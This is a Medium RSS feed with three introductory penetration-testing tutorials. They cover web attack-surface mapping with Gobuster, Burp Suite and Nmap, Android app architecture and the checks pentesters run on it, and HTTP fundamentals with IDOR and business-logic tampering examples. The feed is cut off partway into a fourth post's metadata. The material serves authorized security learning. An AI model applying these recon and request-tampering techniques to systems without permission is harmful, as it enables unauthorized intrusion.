<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Elizabethsosacherian on Medium]]></title>
        <description><![CDATA[Stories by Elizabethsosacherian on Medium]]></description>
        <link>https://medium.com/@elizabethsosacherian?source=rss-39f1a1b14d2d------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*gaZJyuMywl9QaaK3</url>
            <title>Stories by Elizabethsosacherian on Medium</title>
            <link>https://medium.com/@elizabethsosacherian?source=rss-39f1a1b14d2d------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 04 Dec 2026 18:18:18 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@elizabethsosacherian/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Before You Hack: Mapping a Web App’s Attack Surface]]></title>
            <link>https://medium.com/@elizabethsosacherian/before-you-hack-mapping-a-web-apps-attack-surface-ff0a73a97644?source=rss-39f1a1b14d2d------2</link>
            <guid isPermaLink="false">https://medium.com/p/ff0a73a97644</guid>
            <category><![CDATA[reconnaissance]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[mapping]]></category>
            <dc:creator><![CDATA[Elizabethsosacherian]]></dc:creator>
            <pubDate>Fri, 27 Nov 2026 12:02:05 GMT</pubDate>
            <atom:updated>2026-11-27T12:02:05.721Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H1PB-GD7y4G_b5VXdKJIXg.png" /></figure><p>Application mapping means understanding how a website works, what pages and features it has, and how users interact with it. Attack surface identification means finding every place where an attacker could interact with the application.</p><p>A site may look simple from the outside, but behind the scenes it can have login pages, dashboards, APIs, file uploads, admin panels and databases. Understanding these components helps you plan your testing properly.</p><p><em>Note: only test applications you own or have written permission to test.</em></p><h3>What is Web Application Mapping?</h3><p>Web application mapping is the process of discovering and documenting the structure of a web application. It helps you identify:</p><ul><li>Main pages and subpages</li><li>Login and registration pages</li><li>User and administrator dashboards</li><li>Directories and files</li><li>API endpoints</li><li>Forms and input fields</li><li>Technologies and frameworks</li><li>Different user roles and functionalities</li></ul><p>For example, a banking web application might look like this:</p><pre>Banking Application<br>│<br>├── Login<br>│<br>├── Dashboard<br>│   ├── Account Details<br>│   ├── Transaction History<br>│   └── Fund Transfer<br>│<br>├── Profile<br>│   ├── View Profile<br>│   └── Update Profile<br>│<br>├── Reports<br>│   ├── Generate Report<br>│   └── Download Report<br>│<br>└── Administration<br>    ├── User Management<br>    └── Role Management</pre><p>This structure shows the functionality and the pages that need to be examined.</p><h3>What is an Attack Surface?</h3><p>The attack surface is every point through which a user or external system can interact with an application, such as:</p><ul><li>URL parameters</li><li>Login forms</li><li>Search fields</li><li>File upload functionality</li><li>HTTP headers</li><li>Cookies and session identifiers</li><li>API endpoints</li><li>Administrative functions</li></ul><p>For example:</p><pre>https://example.com/login<br>https://example.com/profile?id=101<br>https://example.com/search<br>https://example.com/api/user<br>https://example.com/upload</pre><p>Each endpoint or input may need different security checks.</p><h3>How to Map a Web Application</h3><p><strong>Step 1: Browse the application manually</strong></p><p>Explore all available functionality: home page, login, dashboard, profile, reports, settings and admin pages. Perform normal user actions and observe how the application behaves.</p><p><strong>Step 2: Review robots.txt and sitemap.xml</strong></p><p>These files may reveal paths that don’t appear in normal navigation.</p><pre>https://example.com/robots.txt<br>https://example.com/sitemap.xml</pre><p><strong>Step 3: Discover hidden directories</strong></p><p>Tools like Gobuster and DirBuster can find publicly accessible directories and files. Example using Gobuster on Kali Linux:</p><pre>gobuster dir -u http://127.0.0.1:8080 \<br>-w /usr/share/seclists/Discovery/Web-Content/common.txt</pre><p>This may reveal paths such as /admin, /backup or /portal. Always verify discovered paths manually.</p><p><strong>Step 4: Identify application technologies</strong></p><p>Use these tools to identify web servers, languages, frameworks and frontend technologies:</p><ul><li>WhatWeb</li><li>Wappalyzer</li><li>Nmap</li><li>Browser Developer Tools</li></ul><p><strong>Step 5: Review HTTP requests using Burp Suite</strong></p><p>Open Burp Suite → Proxy → HTTP history, then browse the application and review requests and responses. Pay attention to:</p><ul><li>HTTP methods (GET, POST, PUT, DELETE)</li><li>URLs and endpoints</li><li>Query parameters</li><li>Request body</li><li>Cookies</li><li>Response codes</li><li>Redirects</li></ul><p>This shows you the application’s communication flow.</p><h3>Identify Application Entry Points</h3><p>An entry point is any place where information enters the application.</p><ul><li><strong>Login form</strong> (username and password): examine authentication</li><li><strong>Search field</strong> (search keyword): examine input validation</li><li><strong>URL parameter</strong> (?id=101): examine access control</li><li><strong>File upload</strong> (profile picture): examine file validation</li><li><strong>Cookies</strong> (JSESSIONID): examine session management</li><li><strong>API</strong> (/api/user): examine API security</li><li><strong>HTTP headers</strong> (custom headers): examine input handling</li></ul><p>While reviewing Burp HTTP history, note every parameter, form field, cookie and header that may influence application behaviour. OWASP recommends documenting these entry points before detailed testing.</p><h3>Identify the Application Technology</h3><p>Technology fingerprinting tells you what is running behind the application:</p><ul><li><strong>Nmap:</strong> open ports and services</li><li><strong>WhatWeb:</strong> web technologies</li><li><strong>Wappalyzer:</strong> application technologies</li><li><strong>Burp Suite:</strong> HTTP requests and responses</li><li><strong>Browser Developer Tools:</strong> HTML, JavaScript and network requests</li></ul><p>For example, you might find:</p><pre>Web Server: IBM WebSphere<br>Backend: Java<br>Framework: Apache Struts<br>Frontend: HTML, CSS, jQuery<br>Session: JSESSIONID</pre><p>This helps you choose the right testing techniques.</p><h3>Build an Application Map</h3><p>After collecting information, build a table of the application’s pages and functions. Example:</p><ul><li><strong>Login:</strong> /login.do (POST), user authentication</li><li><strong>Dashboard:</strong> /dashboard.do (GET), view dashboard</li><li><strong>Profile:</strong> /profile.do (GET), view user details</li><li><strong>Reports:</strong> /report.do (POST), generate reports</li><li><strong>Download:</strong> /download.do (GET), download reports</li><li><strong>Admin:</strong> /admin/users.do (GET), manage users</li><li><strong>Logout:</strong> /logout.do (POST), end session</li></ul><p>This gives you a clear picture of the application’s structure.</p><h3>Identify the Attack Surface Based on User Roles</h3><p>Different users have access to different functionality:</p><ul><li><strong>View dashboard:</strong> normal user and administrator</li><li><strong>View profile:</strong> normal user and administrator</li><li><strong>Download reports:</strong> normal user and administrator</li><li><strong>Manage users:</strong> administrator only</li><li><strong>Manage roles:</strong> administrator only</li><li><strong>Application settings:</strong> administrator only</li></ul><p>During authorized testing, compare what each role can access. Check that restricted functions are protected on the server, not just hidden in the user interface.</p><h3>Why is Application Mapping Important?</h3><ol><li>You understand the complete application structure.</li><li>You discover hidden or less visible endpoints.</li><li>You identify all input points.</li><li>You understand user workflows.</li><li>You identify sensitive functionality.</li><li>You plan security tests efficiently.</li><li>You reduce the chance of missing important features.</li></ol><p>If you only test the login page and ignore reports, file uploads, APIs and admin functions, you may miss serious security issues.</p><h3>Final Application Mapping Workflow</h3><ol><li><strong>Explore the application:</strong> browse all pages and functionality.</li><li><strong>Discover additional resources:</strong> review robots.txt, sitemap.xml and directories.</li><li><strong>Identify technologies:</strong> use Nmap, WhatWeb and Wappalyzer.</li><li><strong>Capture HTTP traffic:</strong> use Burp Suite HTTP history.</li><li><strong>Identify entry points:</strong> record parameters, forms, cookies and APIs.</li><li><strong>Map user roles and workflows:</strong> compare normal-user and admin functionality.</li><li><strong>Prepare the attack surface inventory:</strong> document endpoints and plan your testing.</li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ff0a73a97644" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Android App Architecture: What Every New Pentester Needs to Know]]></title>
            <link>https://medium.com/@elizabethsosacherian/android-app-architecture-what-every-new-pentester-needs-to-know-0b62f505b0c8?source=rss-39f1a1b14d2d------2</link>
            <guid isPermaLink="false">https://medium.com/p/0b62f505b0c8</guid>
            <category><![CDATA[architecture]]></category>
            <category><![CDATA[android]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Elizabethsosacherian]]></dc:creator>
            <pubDate>Fri, 20 Nov 2026 09:12:21 GMT</pubDate>
            <atom:updated>2026-11-20T09:12:21.989Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*eFdc0NEbIM01n11z.png" /></figure><p>You cannot break something you do not understand. Before you learn any Android pentesting tool, learn how an Android app is built and how it runs, because that tells you where to look for mistakes.</p><h3>The big picture: an app is like a restaurant</h3><p>Most modern Android apps are built in layers, a pattern called MVVM (Model-View-ViewModel). The easiest way to remember it is a restaurant.</p><ul><li><strong>UI</strong> is the menu and the waiter. These are the screens you see and tap (Activities, Fragments, Jetpack Compose).</li><li><strong>ViewModel</strong> is the waiter’s notepad. It remembers what is on the screen right now.</li><li><strong>Repository</strong> is the manager. It decides where to get data from.</li><li><strong>Local storage</strong> is the fridge. It is data saved on the phone (Room database, DataStore, files).</li><li><strong>Network client</strong> is the delivery truck. It goes to the internet to fetch data (Retrofit, OkHttp).</li><li><strong>Backend API</strong> is the supplier. It is the company’s server.</li></ul><p>The flow is simple. You tap a button, the screen asks the manager for data, the manager checks the fridge or calls the supplier, and the answer travels back up to the screen.</p><p>For a pentester, two of these matter most: the fridge (is sensitive data saved safely?) and the truck (can someone watch or change the data in transit?).</p><h3>The APK and the sandbox: every app gets a locked room</h3><p>When you install an app, you get an APK file. It is just a zip file with everything the app needs:</p><ul><li>AndroidManifest.xml: a list that says what the app is and what it is allowed to do</li><li>classes.dex: the compiled code of the app</li><li>Resources: pictures, layouts and text</li></ul><p>Android then puts the app in a sandbox. Think of it as a locked room with its own Linux user ID. The app can use everything inside its own room, but it cannot walk into another app’s room. A game cannot read your banking app’s data.</p><p>A lot of Android pentesting comes down to two questions: can I break out of this room, and did the developer leave something unlocked by mistake?</p><h3>The four components: the doors of the room</h3><p>Everything that happens in an Android app starts through one of four components. They are the doors of the locked room.</p><ul><li><strong>Activity</strong> is one screen of the app. Example: the login screen.</li><li><strong>Service</strong> is work in the background. Example: music playing while the screen is off.</li><li><strong>Broadcast receiver</strong> listens for messages. Example: “Battery is low” or “Internet connected”.</li><li><strong>Content provider</strong> shares data with other apps. Example: the contacts app sharing names.</li></ul><p>Each door is either private or open. A component marked exported=&quot;true&quot; in the manifest can be reached by other apps, including a malicious one. An open door is not always a bug, but it is always worth testing. Checking exported components is one of the first things a pentester does.</p><h3>How it all works: logging into a banking app</h3><p>Let’s follow one example from start to finish. For each step I show what happens, and what a pentester checks.</p><h3>Step 1: You install the app</h3><p>Android unpacks the APK and creates the sandbox. A pentester opens the APK and reads the code and the manifest, looking for secrets left inside, such as passwords, API keys or server addresses.</p><h3>Step 2: You tap the app icon</h3><p>Android starts the app and opens the first Activity, the login screen. A pentester checks whether other screens are exported. Can I open the account screen directly and skip the login?</p><h3>Step 3: You type your username and password</h3><p>The screen passes your text to the ViewModel, and then to the Repository. A pentester checks whether the app writes the password into the logs (logcat), where anyone can read it.</p><h3>Step 4: The app sends the request to the server</h3><p>The Repository decides it needs the server, so the network client sends your login to the Backend API. A pentester puts a proxy tool such as Burp Suite in the middle to watch the traffic. Is it encrypted with HTTPS? Can I change the request and trick the server?</p><h3>Step 5: The server answers</h3><p>If the login is correct, the server sends back a token. A token is like a ticket that says “this person is logged in”. A pentester checks whether the token is strong and whether it ever expires.</p><h3>Step 6: The app saves the token on the phone</h3><p>The app stores the token in local storage (SharedPreferences, a database or a file) inside its sandbox, so you do not have to log in again. A pentester looks in that folder on a test device. Is the token saved in plain text? Is the database encrypted? This is one of the most common mistakes.</p><h3>Step 7: The answer goes back up to the screen</h3><p>The Repository gives the data to the ViewModel, and the ViewModel tells the screen what to show. You see your balance. A pentester checks whether private data leaks through screenshots, the clipboard or notifications.</p><h3>Step 8: Things running in the background</h3><p>A Service may sync data, a Broadcast receiver may wait for events, and a Content provider may share data. A pentester tests each of these doors. Can another app call this Service or read this provider without permission?</p><h3>Quick reference: where data lives and what to check</h3><p>Every step above asks the same two questions. Where is the data right now, and can I see or change it when I should not?</p><ul><li><strong>Inside the APK:</strong> check for hardcoded passwords, API keys and server addresses.</li><li><strong>On the screen:</strong> check for leaks through screenshots, clipboard and notifications.</li><li><strong>In the logs:</strong> check for passwords or tokens printed to logcat.</li><li><strong>In local storage:</strong> check for plain-text tokens and unencrypted databases.</li><li><strong>On the network:</strong> check for missing HTTPS, weak certificate checks and changeable requests.</li><li><strong>In exported components:</strong> check for doors other apps can open without permission.</li><li><strong>On the backend:</strong> check for weak tokens and missing authorization checks.</li></ul><h3>Your first practice steps</h3><p>You do not need to learn everything at once. Here is a simple order to follow:</p><ol><li>Learn the layers and the four components until you can explain them from memory.</li><li>Unpack a practice APK with apktool and read its AndroidManifest.xml. Find which components are exported.</li><li>Decompile the code with jadx and follow one screen through the UI, ViewModel, Repository and network path.</li><li>Set up an emulator or a rooted test device, and use adb and Frida to watch the app while it runs.</li><li>Send the app’s traffic through Burp Suite to see the backend calls.</li><li>Practice on deliberately vulnerable apps such as InsecureBankv2 and DIVA, and follow the OWASP Mobile Application Security Testing Guide (MASTG).</li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0b62f505b0c8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How Web Apps Really Work: A Pentester’s Guide to HTTP and Server-Side Security]]></title>
            <link>https://medium.com/@elizabethsosacherian/how-web-apps-really-work-a-pentesters-guide-to-http-and-server-side-security-f28e00572d06?source=rss-39f1a1b14d2d------2</link>
            <guid isPermaLink="false">https://medium.com/p/f28e00572d06</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Elizabethsosacherian]]></dc:creator>
            <pubDate>Thu, 19 Nov 2026 13:02:35 GMT</pubDate>
            <atom:updated>2026-11-19T13:02:35.193Z</atom:updated>
            <content:encoded><![CDATA[<p>Almost everything we do online involves web applications. Logging into a banking app, shopping online, checking email, opening a business portal — web applications work behind the scenes to process our requests and deliver information.</p><p>But have you ever wondered what actually happens when you type a website address and press Enter?</p><p>How does the browser talk to the server? How are login credentials verified? What are HTTP requests and responses? And how does a penetration tester inspect and manipulate that communication?</p><p>Understanding these concepts is the foundation of web application security. In this article, I walk through web application basics, HTTP, client-server architecture, authentication and key security testing concepts using practical examples.</p><h3>1. What Is a Web Application?</h3><p>A web application is software that runs on a web server and is accessed through a web browser.</p><p>Examples include:</p><ul><li>Internet banking applications</li><li>E-commerce websites</li><li>Online examination portals</li><li>Employee management systems</li><li>Social media platforms</li></ul><p>A typical web application has three major components:</p><ol><li><strong>Client:</strong> the browser used by the user.</li><li><strong>Server:</strong> processes requests and executes application logic.</li><li><strong>Database:</strong> stores application information.</li></ol><p>For example, when a user logs in to an online banking application, the browser sends the login information to the server. The server verifies the credentials using the application’s authentication logic and, when necessary, retrieves information from the database. The server then sends a response back to the browser.</p><h3>2. Client-Side vs Server-Side: Where Does the Work Happen?</h3><p>Client-side and server-side are two key parts of web application architecture.</p><h3>Client-Side</h3><p>Client-side refers to operations performed inside the user’s browser. Common technologies:</p><ul><li><strong>HTML</strong> — defines the structure of a webpage</li><li><strong>CSS</strong> — controls design and appearance</li><li><strong>JavaScript</strong> — adds interactivity and functionality</li></ul><p>For example, a login form is displayed using HTML and styled using CSS, while JavaScript may check whether the fields are empty.</p><h3>Server-Side</h3><p>Server-side refers to operations performed on the backend server. Common technologies include Java, Python, PHP, Node.js and .NET. The server handles authentication, authorization, business logic, database communication and processing of application requests.</p><p><strong>Example login flow:</strong></p><ol><li>The browser collects the credentials.</li><li>The browser sends an HTTP request to the server.</li><li>The server verifies the username and password.</li><li>The server checks the user information in the database.</li><li>The server returns the authentication result.</li></ol><p><strong>Key security takeaway:</strong> client-side validation must never be treated as a security boundary. An attacker can modify browser-side code or send requests directly using tools such as Burp Suite. Security-critical validation and authorization must always be enforced on the server.</p><h3>3. Static vs Dynamic Websites</h3><h3>Static Websites</h3><p>A static website displays predefined content that stays the same unless the developer updates the files. Examples: portfolio sites, basic informational sites, documentation pages.</p><h3>Dynamic Websites</h3><p>A dynamic website generates or updates content based on user input, application logic or database information. Examples: banking applications, e-commerce platforms, employee portals, online booking systems.</p><p><strong>Quick comparison:</strong></p><ul><li><strong>Content:</strong> static is mostly predefined; dynamic can change on the fly.</li><li><strong>Architecture:</strong> static is usually simpler; dynamic often includes backend processing.</li><li><strong>Interaction:</strong> static is limited; dynamic supports user-specific functionality.</li><li><strong>Database:</strong> static may not need one; dynamic frequently talks to databases.</li></ul><p>Dynamic applications usually provide a larger attack surface because they process user input, authentication, sessions and business transactions.</p><h3>4. HTTP: The Language of the Web</h3><p>HTTP (Hypertext Transfer Protocol) is an application-layer protocol used for communication between clients and web servers. When you access a website, your browser sends an HTTP request and the server returns an HTTP response.</p><p><strong>Client request:</strong></p><pre>GET /home HTTP/1.1<br>Host: example.com</pre><p><strong>Server response:</strong></p><pre>HTTP/1.1 200 OK<br>Content-Type: text/html</pre><pre>&lt;html&gt;<br>&lt;body&gt;<br>&lt;h1&gt;Welcome&lt;/h1&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p>HTTP follows a request-response communication model. HTTPS is HTTP protected by TLS encryption, which helps protect information exchanged between client and server.</p><h3>5. The TCP Three-Way Handshake</h3><p>Before a normal TCP connection is established, the client and server perform a three-way handshake:</p><ol><li><strong>SYN:</strong> the client requests a connection.</li><li><strong>SYN-ACK:</strong> the server acknowledges the request.</li><li><strong>ACK:</strong> the client acknowledges the server’s response.</li></ol><p>After these steps, the TCP connection is established. This matters because HTTP/1.1 and HTTP/2 commonly operate over TCP. HTTP/3 uses QUIC over UDP instead.</p><h3>6. HTTP Caching and Why Testers Care</h3><p>HTTP caching lets browsers and intermediate systems store copies of responses so resources don’t need to be downloaded repeatedly. It improves performance and reduces network traffic.</p><p>Important caching headers:</p><ul><li><strong>Cache-Control</strong> — defines caching behavior</li><li><strong>Pragma</strong> — legacy HTTP/1.0 caching directive</li><li><strong>Expires</strong> — specifies when a response becomes stale</li><li><strong>ETag</strong> — identifies a particular version of a resource</li><li><strong>Last-Modified</strong> — indicates when a resource was last modified</li></ul><p>Two key Cache-Control directives:</p><ul><li>no-cache: the cached response must be revalidated before reuse.</li><li>no-store: the response must not be stored.</li></ul><p><strong>Penetration testing perspective:</strong> for banking and business applications, check whether sensitive information is improperly cached by browsers or intermediary systems. Sensitive authenticated pages should have appropriate caching controls, for example:</p><pre>Cache-Control: no-store<br>Pragma: no-cache</pre><h3>7. Anatomy of an HTTP Request and Response</h3><p>A typical HTTP request contains four parts:</p><ol><li>Request line</li><li>Request headers</li><li>Blank line</li><li>Optional request body</li></ol><pre>POST /login HTTP/1.1<br>Host: example.com<br>Content-Type: application/x-www-form-urlencoded<br>User-Agent: Mozilla/5.0</pre><pre>username=testuser&amp;password=test123</pre><p>An HTTP response contains:</p><ol><li>Status line</li><li>Response headers</li><li>Blank line</li><li>Optional response body</li></ol><pre>HTTP/1.1 200 OK<br>Content-Type: text/html<br>Cache-Control: no-store</pre><pre>Login successful</pre><p>Understanding these components is essential when inspecting application traffic during penetration testing.</p><h3>8. HTTP Methods Explained</h3><p>HTTP methods indicate what action the client wants to perform on a resource:</p><ul><li><strong>GET</strong> — retrieve information</li><li><strong>POST</strong> — submit information or trigger processing</li><li><strong>PUT</strong> — create or replace a resource</li><li><strong>PATCH</strong> — partially update a resource</li><li><strong>DELETE</strong> — delete a resource</li><li><strong>HEAD</strong> — retrieve response headers without the body</li><li><strong>OPTIONS</strong> — discover communication options supported by a resource</li><li><strong>TRACE</strong> — diagnostic method that reflects the received request</li><li><strong>CONNECT</strong> — establish a tunnel, commonly for HTTPS through a proxy</li></ul><p><strong>Penetration testing perspective:</strong> inspect which methods are supported and whether the application enforces appropriate authorization for each. If an endpoint allows DELETE, verify that only authorized users can perform the deletion. Also remember: an OPTIONS response advertising a method does not automatically mean the operation is permitted.</p><h3>9. Decoding URLs (and Spotting IDOR)</h3><p>A URL (Uniform Resource Locator) identifies the location of a resource.</p><pre>https://example.com:443/account/profile?id=101#details</pre><ul><li>https – scheme</li><li>example.com – hostname</li><li>443 – port</li><li>/account/profile – path</li><li>id=101 – query parameter</li><li>details – fragment</li></ul><p>URL components matter because they may contain user-controlled parameters. For example:</p><pre>/account/profile?id=101</pre><p>A tester can check whether changing the ID to another value exposes another user’s information. This can reveal an <strong>Insecure Direct Object Reference (IDOR)</strong> or <strong>Broken Object Level Authorization (BOLA)</strong> vulnerability if proper authorization checks are missing.</p><p>Other common testing areas include SQL injection, Cross-Site Scripting (XSS), open redirects, path traversal and parameter tampering.</p><h3>10. REST APIs and API Security Testing</h3><p>REST (Representational State Transfer) is an architectural style commonly used to build web APIs. A REST API lets applications communicate with backend services using HTTP.</p><pre>GET /api/users/101 HTTP/1.1<br>Host: example.com<br>Accept: application/json</pre><p>Possible response:</p><pre>{<br>  &quot;id&quot;: 101,<br>  &quot;username&quot;: &quot;testuser&quot;,<br>  &quot;role&quot;: &quot;user&quot;<br>}</pre><p>REST commonly uses HTTP methods, resource-based URLs, JSON representations and stateless communication. A REST API should follow key constraints: client-server separation, statelessness, cacheability, a uniform interface and layered architecture. Code on demand is optional.</p><p><strong>What to investigate in API penetration testing:</strong></p><ul><li>Broken Object Level Authorization (BOLA)</li><li>Broken Function Level Authorization</li><li>Excessive data exposure</li><li>Mass assignment</li><li>Authentication weaknesses</li><li>Rate limiting issues</li><li>Improper HTTP method handling</li></ul><h3>11. HTTP Headers: Small Details, Big Security Impact</h3><p>HTTP headers provide additional information about requests and responses.</p><p><strong>Common request headers:</strong></p><ul><li><strong>Host</strong> — the target host</li><li><strong>User-Agent</strong> — identifies the client software</li><li><strong>Accept</strong> — acceptable response formats</li><li><strong>Content-Type</strong> — media type of the request body</li><li><strong>Authorization</strong> — carries credentials or tokens</li><li><strong>Cookie</strong> — sends stored cookies to the server</li></ul><p><strong>Important response headers:</strong></p><ul><li><strong>Server</strong> — may identify server software</li><li><strong>Set-Cookie</strong> — sets or updates cookies</li><li><strong>Location</strong> — specifies a redirect destination</li><li><strong>Cache-Control</strong> — controls caching</li><li><strong>Strict-Transport-Security</strong> — enforces HTTPS through browser policy</li><li><strong>X-Content-Type-Options</strong> — helps prevent MIME-type sniffing</li><li><strong>X-Frame-Options</strong> — controls framing behavior</li><li><strong>Content-Security-Policy</strong> — restricts permitted content sources</li><li><strong>Referrer-Policy</strong> — controls referrer information</li><li><strong>Permissions-Policy</strong> — controls access to selected browser features</li></ul><p>During a penetration test, inspect security-related response headers and evaluate whether their configuration is appropriate for the application.</p><h3>12. Cookies and Sessions</h3><p>Cookies are small pieces of data stored by the browser. Web applications commonly use them to maintain sessions and remember user-related information.</p><p>After a successful login, the server may return:</p><pre>HTTP/1.1 200 OK<br>Set-Cookie: JSESSIONID=abc123; Secure; HttpOnly; SameSite=Lax</pre><p>The browser stores the cookie and sends it in subsequent requests:</p><pre>GET /dashboard HTTP/1.1<br>Host: example.com<br>Cookie: JSESSIONID=abc123</pre><p>The server uses the session identifier to find the corresponding session.</p><p><strong>Important cookie security attributes:</strong></p><ul><li><strong>Secure:</strong> sends the cookie only over HTTPS.</li><li><strong>HttpOnly:</strong> prevents JavaScript from accessing the cookie.</li><li><strong>SameSite:</strong> controls when cookies are sent with cross-site requests.</li><li><strong>Expires / Max-Age:</strong> controls cookie lifetime.</li><li><strong>Domain and Path:</strong> define the cookie’s scope.</li></ul><p><strong>Penetration testing checks:</strong></p><ul><li>Session fixation</li><li>Session hijacking</li><li>Session expiration</li><li>Session reuse after logout</li><li>Missing cookie security attributes</li><li>Session ID regeneration after authentication</li></ul><h3>13. HTTP Status Codes</h3><p>Status codes indicate the result of a request and fall into five categories:</p><ul><li><strong>1xx</strong> — Informational</li><li><strong>2xx</strong> — Successful</li><li><strong>3xx</strong> — Redirection</li><li><strong>4xx</strong> — Client errors</li><li><strong>5xx</strong> — Server errors</li></ul><p><strong>Common examples:</strong></p><ul><li><strong>200</strong> OK</li><li><strong>201</strong> Created</li><li><strong>204</strong> No Content</li><li><strong>301</strong> Moved Permanently</li><li><strong>302</strong> Found</li><li><strong>304</strong> Not Modified</li><li><strong>400</strong> Bad Request</li><li><strong>401</strong> Unauthorized</li><li><strong>403</strong> Forbidden</li><li><strong>404</strong> Not Found</li><li><strong>405</strong> Method Not Allowed</li><li><strong>422</strong> Unprocessable Content</li><li><strong>429</strong> Too Many Requests</li><li><strong>500</strong> Internal Server Error</li><li><strong>502</strong> Bad Gateway</li><li><strong>503</strong> Service Unavailable</li></ul><p>From a testing perspective, status codes are useful but do not independently prove whether a vulnerability exists. A 200 response does not necessarily mean the operation was authorized — always inspect the response content and actual application behavior.</p><h3>14. HTTP Proxies and Burp Suite</h3><p>A proxy acts as an intermediary between the browser and the web server. Instead of communicating directly with the server, the browser sends its traffic through the proxy.</p><p>One of the most useful tools for web application penetration testing is <strong>Burp Suite</strong>, which works as an intercepting proxy and lets testers inspect and manipulate HTTP requests and responses.</p><p><strong>Key proxy functions:</strong></p><ul><li><strong>Intercept:</strong> temporarily stop requests and responses.</li><li><strong>Forward:</strong> send intercepted traffic onward.</li><li><strong>Drop:</strong> cancel an intercepted request.</li><li><strong>HTTP History:</strong> review previous requests and responses.</li><li><strong>Repeater:</strong> modify and resend requests manually.</li></ul><p>Original request:</p><pre>GET /account?accountId=101 HTTP/1.1<br>Host: example.com</pre><p>Modified request:</p><pre>GET /account?accountId=102 HTTP/1.1<br>Host: example.com</pre><p>By modifying parameters and inspecting server responses, a tester can investigate authorization weaknesses such as IDOR and BOLA. Other types of proxies include forward proxies, reverse proxies and transparent proxies.</p><h3>15. Authentication with HTTP</h3><p>Authentication verifies the identity of a user or client. In simple terms, it answers the question: <strong>Who are you?</strong></p><p>Common mechanisms:</p><ul><li>Basic Authentication</li><li>Digest Authentication</li><li>Bearer Token Authentication</li><li>Form-Based Authentication</li></ul><h3>Basic Authentication</h3><p>Basic Authentication sends a username and password in the Authorization header after Base64 encoding.</p><pre>GET /admin HTTP/1.1<br>Host: example.com<br>Authorization: Basic dXNlcjpwYXNzd29yZA==</pre><p>Base64 is encoding, not encryption. The credentials can be decoded easily, so HTTPS is essential.</p><h3>Digest Authentication</h3><p>Digest Authentication uses a challenge-response mechanism. The server sends a challenge containing values such as a nonce, and the client calculates a response using the credentials and challenge information.</p><pre>HTTP/1.1 401 Unauthorized<br>WWW-Authenticate: Digest realm=&quot;Admin&quot;,<br>nonce=&quot;abc123&quot;,<br>qop=&quot;auth&quot;,<br>algorithm=MD5</pre><p>Digest avoids sending the actual password directly in the Authorization header, but older MD5-based implementations have significant security limitations. It should not be treated as a replacement for HTTPS.</p><h3>Form-Based Authentication</h3><p>Widely used in modern web applications. The user enters credentials into a login form, and the browser sends them to the server in an HTTP request. After successful authentication, the server may create a session and return a session cookie such as JSESSIONID.</p><h3>16. Authentication vs Authorization</h3><p>These terms are related but different:</p><ul><li><strong>Authentication</strong> verifies user identity. It answers <em>“Who are you?”</em> and covers username and password verification and the login process.</li><li><strong>Authorization</strong> determines user permissions. It answers <em>“What can you access?”</em> and covers role and permission validation and access control.</li></ul><p>A normal banking customer may log in successfully, but that doesn’t mean they should be allowed to access administrator functionality. A user can be authenticated but not authorized to access a particular resource.</p><h3>17. Why Server-Side Validation Is Non-Negotiable</h3><p>Consider a banking application with a money transfer feature. The browser may contain JavaScript that prevents users from entering a negative transfer amount. However, an attacker can bypass this validation and send a modified request through Burp Suite:</p><pre>POST /transfer HTTP/1.1<br>Host: bank.example.com<br>Content-Type: application/x-www-form-urlencoded</pre><pre>amount=-5000&amp;recipient=101</pre><p>The backend must independently validate:</p><ul><li>Whether the transfer amount is valid</li><li>Whether the user is authenticated</li><li>Whether the user is authorized to transfer funds</li><li>Whether the account has sufficient balance</li><li>Whether transaction rules are satisfied</li></ul><p>If the server trusts client-side validation and processes invalid transactions, the application may contain a <strong>business logic vulnerability</strong>. This is why penetration testers must examine both client-side and server-side behavior.</p><h3>18. Practical Tools for Web Application Testing</h3><p>HTTP theory is important, but hands-on testing connects the concepts. Some useful tools:</p><ul><li><strong>Burp Suite</strong> — intercept, inspect, modify and replay HTTP requests and responses.</li><li><strong>Nmap</strong> — network discovery, port scanning and service identification.</li><li><strong>Browser Developer Tools</strong> — inspect HTML, JavaScript, network requests, cookies and browser-side behavior.</li><li><strong>cURL</strong> — send HTTP requests from the command line and examine server responses.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f28e00572d06" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The 7-Second Rule: What Actually Happens When You Hit Enter?]]></title>
            <link>https://medium.com/@elizabethsosacherian/the-7-second-rule-what-actually-happens-when-you-hit-enter-d0943fc8d74f?source=rss-39f1a1b14d2d------2</link>
            <guid isPermaLink="false">https://medium.com/p/d0943fc8d74f</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[networking]]></category>
            <category><![CDATA[technology]]></category>
            <category><![CDATA[web-development]]></category>
            <category><![CDATA[rules]]></category>
            <dc:creator><![CDATA[Elizabethsosacherian]]></dc:creator>
